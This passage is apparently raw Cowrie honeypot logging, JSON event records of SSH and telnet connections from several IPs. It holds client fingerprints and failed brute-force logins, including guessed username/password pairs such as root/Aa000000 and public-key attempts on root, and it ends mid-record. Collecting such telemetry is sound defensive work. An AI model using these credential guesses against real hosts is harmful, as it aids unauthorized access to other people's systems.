{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:55:18.919522Z","src_ip":"103.15.226.202","session":"f64768f97705","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa000000","message":"login attempt [root/Aa000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:55:19.674110Z","src_ip":"103.15.226.202","session":"f64768f97705","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:55:20.957477Z","src_ip":"103.15.226.202","session":"f64768f97705","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":50530,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e11e8df6e27","protocol":"ssh","message":"New connection: 2.57.122.210:50530 (10.17.0.5:22) [session: 3e11e8df6e27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:55:28.845394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:55:28.856359Z","src_ip":"2.57.122.210","session":"3e11e8df6e27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:55:29.003958Z","src_ip":"2.57.122.210","session":"3e11e8df6e27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:55:29.395667Z","src_ip":"2.57.122.210","session":"3e11e8df6e27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.255.100.196","src_port":44532,"dst_ip":"10.17.0.5","dst_port":22,"session":"51cbf023fdf7","protocol":"ssh","message":"New connection: 185.255.100.196:44532 (10.17.0.5:22) [session: 51cbf023fdf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:55:29.849800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:55:29.860414Z","src_ip":"185.255.100.196","session":"51cbf023fdf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:55:29.877048Z","src_ip":"185.255.100.196","session":"51cbf023fdf7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:e9:f2:b2:58:1e:fd:97:bb:25:fd:f5:c9:22:ee:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCckeQ08X1in2SgSi7kzbe6NGGCKLMwWzoTIvvRf5S7PqNlVij5FZvtCsTkZSfJnB444Gn2Q19LI+OET75d+B/0Ni2QXBlup5O2rAb5OLjOr/ZJDFTGotaJsAMrtfXtJl9DOuW8LDH3WSWhZZGdLm72xRarG5zsXY60gwdv0U3u/zk7nb6+T6NXwqGqGkuTzlykBrzxTKvOhTUZWyL9yfqq0zP1BmpvWSVyJPcPoWK3Drr1bBvx1iz0PAd1nbaRjYunLZsN9eDYw+byUBS+gYrI5iyxO/BNjQbx85A3bnR98vALNTPa5vpH/of53ibl0zHuo0BXoCs5uDR8ioPJQFap","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1e:e9:f2:b2:58:1e:fd:97:bb:25:fd:f5:c9:22:ee:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:55:29.903476Z","src_ip":"185.255.100.196","session":"51cbf023fdf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:e9:f2:b2:58:1e:fd:97:bb:25:fd:f5:c9:22:ee:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCckeQ08X1in2SgSi7kzbe6NGGCKLMwWzoTIvvRf5S7PqNlVij5FZvtCsTkZSfJnB444Gn2Q19LI+OET75d+B/0Ni2QXBlup5O2rAb5OLjOr/ZJDFTGotaJsAMrtfXtJl9DOuW8LDH3WSWhZZGdLm72xRarG5zsXY60gwdv0U3u/zk7nb6+T6NXwqGqGkuTzlykBrzxTKvOhTUZWyL9yfqq0zP1BmpvWSVyJPcPoWK3Drr1bBvx1iz0PAd1nbaRjYunLZsN9eDYw+byUBS+gYrI5iyxO/BNjQbx85A3bnR98vALNTPa5vpH/of53ibl0zHuo0BXoCs5uDR8ioPJQFap","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:55:29.908661Z","src_ip":"185.255.100.196","session":"51cbf023fdf7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:b3:51:3d:c4:cb:e7:1c:69:1a:df:4d:5b:63:9d:02","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPpvH2wdKCnA4n1YvuPHN+zhdXoR2BnOXp4WrbWpXizp6BiZJBHett73hs1do2+Ukhcxjjr3TFgU2lSIGyPpcEHA+r+ydyw8qYmnaHGSj3bJke9hhQSz4sEShGxEDR3EEtqrHOh8kwegFCmUCcl8DPzNIGsuQzvcyC2nr7OrkEUZAAAAFQC5LqK9a+ODAbgyoOQsmSDvvcQDNwAAAIAlCyMx/+8Ulsw87hUs/oHolmNySoOgss8Ja3Yq8OUaa9WWco/D3VcMKMuNeLWFHEkAol0iDh8mOsoOtgw5/lEsqSXthvZO6RjOLbFAEXU7YeLxFH3YLO54BuhbHMLKJ9ABgrlnMoACGRjt5GFdH3r1MAEjtmDaWmSgSIt4fAoGcAAAAIEA3ASmZGRxaHWIRoujGIcd+KTSTTUyde1GmvEvHvkp1pac4pfPvU8FJRvq3nZjmwY/J0yOnIXXYru2oFeYTlg5A8a9izIQgFz+rGD7o+DT9wYeYYdcJGMM4zviwlJf+Ez2FUYNNeWk5GC1V3O70IB//fhpGMCAhpw4pJ9UAu5EVaQ=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 13:b3:51:3d:c4:cb:e7:1c:69:1a:df:4d:5b:63:9d:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:55:29.920557Z","src_ip":"185.255.100.196","session":"51cbf023fdf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:b3:51:3d:c4:cb:e7:1c:69:1a:df:4d:5b:63:9d:02","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPpvH2wdKCnA4n1YvuPHN+zhdXoR2BnOXp4WrbWpXizp6BiZJBHett73hs1do2+Ukhcxjjr3TFgU2lSIGyPpcEHA+r+ydyw8qYmnaHGSj3bJke9hhQSz4sEShGxEDR3EEtqrHOh8kwegFCmUCcl8DPzNIGsuQzvcyC2nr7OrkEUZAAAAFQC5LqK9a+ODAbgyoOQsmSDvvcQDNwAAAIAlCyMx/+8Ulsw87hUs/oHolmNySoOgss8Ja3Yq8OUaa9WWco/D3VcMKMuNeLWFHEkAol0iDh8mOsoOtgw5/lEsqSXthvZO6RjOLbFAEXU7YeLxFH3YLO54BuhbHMLKJ9ABgrlnMoACGRjt5GFdH3r1MAEjtmDaWmSgSIt4fAoGcAAAAIEA3ASmZGRxaHWIRoujGIcd+KTSTTUyde1GmvEvHvkp1pac4pfPvU8FJRvq3nZjmwY/J0yOnIXXYru2oFeYTlg5A8a9izIQgFz+rGD7o+DT9wYeYYdcJGMM4zviwlJf+Ez2FUYNNeWk5GC1V3O70IB//fhpGMCAhpw4pJ9UAu5EVaQ=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:55:29.927350Z","src_ip":"185.255.100.196","session":"51cbf023fdf7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"39:e3:61:ad:00:65:c5:31:4f:8d:ca:ab:85:24:1b:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHTO/Ssq+G5PGnYk3H2tyAyi7iN/yHwGDzFBoHlQ0wtg7qcTt2Gx0n4gjNbv8439m1hSmjmq8ygs21ymEe/dvTUQUCauO/l0GQcMPXpuNYRegZcvaqetg+9egMOGXHc80a6eYff4GdwNqPlcBaeJD54A/13nKzt9iIcVC/vjzcMu2kx8l64NwDh8z0WG+1gqTz3OCA24jRpkEke6thTGEWafqWKXbub+M+yxdea9IfRePDrsGd8puewG8JeJ9T5vAGilKLhbK+1YqY5gisGY+0OyBGx4CrZYdU1ZTpeHsylGpOHE9OGMRWLxPO9rNOGJpJ4odndCXZFQP2ctvDBayh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 39:e3:61:ad:00:65:c5:31:4f:8d:ca:ab:85:24:1b:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:55:29.937686Z","src_ip":"185.255.100.196","session":"51cbf023fdf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"39:e3:61:ad:00:65:c5:31:4f:8d:ca:ab:85:24:1b:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHTO/Ssq+G5PGnYk3H2tyAyi7iN/yHwGDzFBoHlQ0wtg7qcTt2Gx0n4gjNbv8439m1hSmjmq8ygs21ymEe/dvTUQUCauO/l0GQcMPXpuNYRegZcvaqetg+9egMOGXHc80a6eYff4GdwNqPlcBaeJD54A/13nKzt9iIcVC/vjzcMu2kx8l64NwDh8z0WG+1gqTz3OCA24jRpkEke6thTGEWafqWKXbub+M+yxdea9IfRePDrsGd8puewG8JeJ9T5vAGilKLhbK+1YqY5gisGY+0OyBGx4CrZYdU1ZTpeHsylGpOHE9OGMRWLxPO9rNOGJpJ4odndCXZFQP2ctvDBayh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:55:29.942566Z","src_ip":"185.255.100.196","session":"51cbf023fdf7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:23:a6:6e:82:b3:d2:55:de:88:55:6d:94:ee:1e:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCqcHr/lyQVr3Ti/4XXYkB6NGT6M6zTz8XxcLn3DOwbRV62lSGzXL6HltmCWyzSZcGbOo5uzs65+7lmzGIKw6LujdAES10u8N179Y2cWktrDs7VM4lf7J+irGmR5Fk5nSp7aYkgxqtcVyF+bbJNK1EkvnDo1GKWcMqP/KUZlQEQ+/OrTZ+ywtyDVQ/tye39MnRt5aTY2ZQyv6wel0OGQMm2N1m/TdGi8fQM13sqgJCSMzA+aFu9sVDHx8cxS1EctthALMiVHBuhXvBBJQ0lqUnG3k/1IrAteKZ4QnsWPuMJ5Uitirc5/H9XBTA7PlHCwlF9MWr+WE5w+xT3709ayl1qTq7e1tcZ3ANm+nLNX67ZzxwxTKfj2DQCozMWTwhSs36i/JYXTVqs+vnKMY0KW6Eb+HEDDW3p9JKvZG1g+L4Qe+SbifeQ9KxONGhJghxxuKaWPjbo+8tDlZZ2LNmco23ZBSTp5mUq5bbEih3HBI1iwaCxTD6Bz378QMI+gkIziqBnA7Uha4ER7Ja7jQJ8IH1OzExguuT32bpYZh5xWdbeUguBAQ8iNHAEAioOSfTACPtnB1zg+ZMOIFlI/A3wJuGgpRpqki/QG3hOBWrgHHDjuZxJpPz/h3hkUrGB9rCRsrvoTBhr1jzo2d8STaxScszetI73uDpRbopl2qgFWkVbOw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 53:23:a6:6e:82:b3:d2:55:de:88:55:6d:94:ee:1e:96","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:55:29.951628Z","src_ip":"185.255.100.196","session":"51cbf023fdf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:23:a6:6e:82:b3:d2:55:de:88:55:6d:94:ee:1e:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCqcHr/lyQVr3Ti/4XXYkB6NGT6M6zTz8XxcLn3DOwbRV62lSGzXL6HltmCWyzSZcGbOo5uzs65+7lmzGIKw6LujdAES10u8N179Y2cWktrDs7VM4lf7J+irGmR5Fk5nSp7aYkgxqtcVyF+bbJNK1EkvnDo1GKWcMqP/KUZlQEQ+/OrTZ+ywtyDVQ/tye39MnRt5aTY2ZQyv6wel0OGQMm2N1m/TdGi8fQM13sqgJCSMzA+aFu9sVDHx8cxS1EctthALMiVHBuhXvBBJQ0lqUnG3k/1IrAteKZ4QnsWPuMJ5Uitirc5/H9XBTA7PlHCwlF9MWr+WE5w+xT3709ayl1qTq7e1tcZ3ANm+nLNX67ZzxwxTKfj2DQCozMWTwhSs36i/JYXTVqs+vnKMY0KW6Eb+HEDDW3p9JKvZG1g+L4Qe+SbifeQ9KxONGhJghxxuKaWPjbo+8tDlZZ2LNmco23ZBSTp5mUq5bbEih3HBI1iwaCxTD6Bz378QMI+gkIziqBnA7Uha4ER7Ja7jQJ8IH1OzExguuT32bpYZh5xWdbeUguBAQ8iNHAEAioOSfTACPtnB1zg+ZMOIFlI/A3wJuGgpRpqki/QG3hOBWrgHHDjuZxJpPz/h3hkUrGB9rCRsrvoTBhr1jzo2d8STaxScszetI73uDpRbopl2qgFWkVbOw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:55:29.955918Z","src_ip":"185.255.100.196","session":"51cbf023fdf7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:58:b6:94:9d:dc:2b:95:6a:16:0c:c8:3e:60:10:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5BOqMVL8ZW6m+kcrWOjjDm7gEjPxVS3c3754Z77o6j2nra+XJ/qXm5+PGyScsBT1APc9V6C4fcesOTaMwFXW2UH5hz/OobwXCzTtgviEyOx9YXCkXYjxGTmdRHhkdpF3w5tiWrCgm8R03nUM2rpp+oEKFEFqsWtrppRRVlK8fxoiZJRNUxZ+JOD41ap8364zBppKTun3w7AaDo4YeFWyrDtUXzMh67BX0W/Dq4nRkdFd3bXoavU2e8xSj9vzfNoSjPI6PWszgbgFbrShOavqivK2FuiMV6UNCcbkjedt+iAf1LSUGM5r21P80Ni2PteFLrrEaO+sgMHPYalUvMsJf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:58:b6:94:9d:dc:2b:95:6a:16:0c:c8:3e:60:10:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:55:29.964821Z","src_ip":"185.255.100.196","session":"51cbf023fdf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:58:b6:94:9d:dc:2b:95:6a:16:0c:c8:3e:60:10:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5BOqMVL8ZW6m+kcrWOjjDm7gEjPxVS3c3754Z77o6j2nra+XJ/qXm5+PGyScsBT1APc9V6C4fcesOTaMwFXW2UH5hz/OobwXCzTtgviEyOx9YXCkXYjxGTmdRHhkdpF3w5tiWrCgm8R03nUM2rpp+oEKFEFqsWtrppRRVlK8fxoiZJRNUxZ+JOD41ap8364zBppKTun3w7AaDo4YeFWyrDtUXzMh67BX0W/Dq4nRkdFd3bXoavU2e8xSj9vzfNoSjPI6PWszgbgFbrShOavqivK2FuiMV6UNCcbkjedt+iAf1LSUGM5r21P80Ni2PteFLrrEaO+sgMHPYalUvMsJf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:55:29.969269Z","src_ip":"185.255.100.196","session":"51cbf023fdf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:55:29.984901Z","src_ip":"185.255.100.196","session":"51cbf023fdf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:55:30.506370Z","src_ip":"2.57.122.210","session":"3e11e8df6e27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":60392,"dst_ip":"10.17.0.5","dst_port":22,"session":"d38e1ffd692c","protocol":"ssh","message":"New connection: 101.36.119.184:60392 (10.17.0.5:22) [session: d38e1ffd692c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:55:48.997666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:55:49.002673Z","src_ip":"101.36.119.184","session":"d38e1ffd692c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:55:49.226782Z","src_ip":"101.36.119.184","session":"d38e1ffd692c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":13997,"dst_ip":"10.17.0.5","dst_port":23,"session":"371a5cba0eee","protocol":"telnet","message":"New connection: 212.55.149.117:13997 (10.17.0.5:23) [session: 371a5cba0eee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:55:49.524711Z"}
{"eventid":"cowrie.login.failed","username":"reza","password":"123","message":"login attempt [reza/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:55:50.150280Z","src_ip":"101.36.119.184","session":"d38e1ffd692c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:55:51.377227Z","src_ip":"101.36.119.184","session":"d38e1ffd692c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.46.1.73","src_port":52814,"dst_ip":"10.17.0.5","dst_port":22,"session":"db92b8e8647b","protocol":"ssh","message":"New connection: 189.46.1.73:52814 (10.17.0.5:22) [session: db92b8e8647b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:56:26.877816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:56:26.916356Z","src_ip":"189.46.1.73","session":"db92b8e8647b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","ke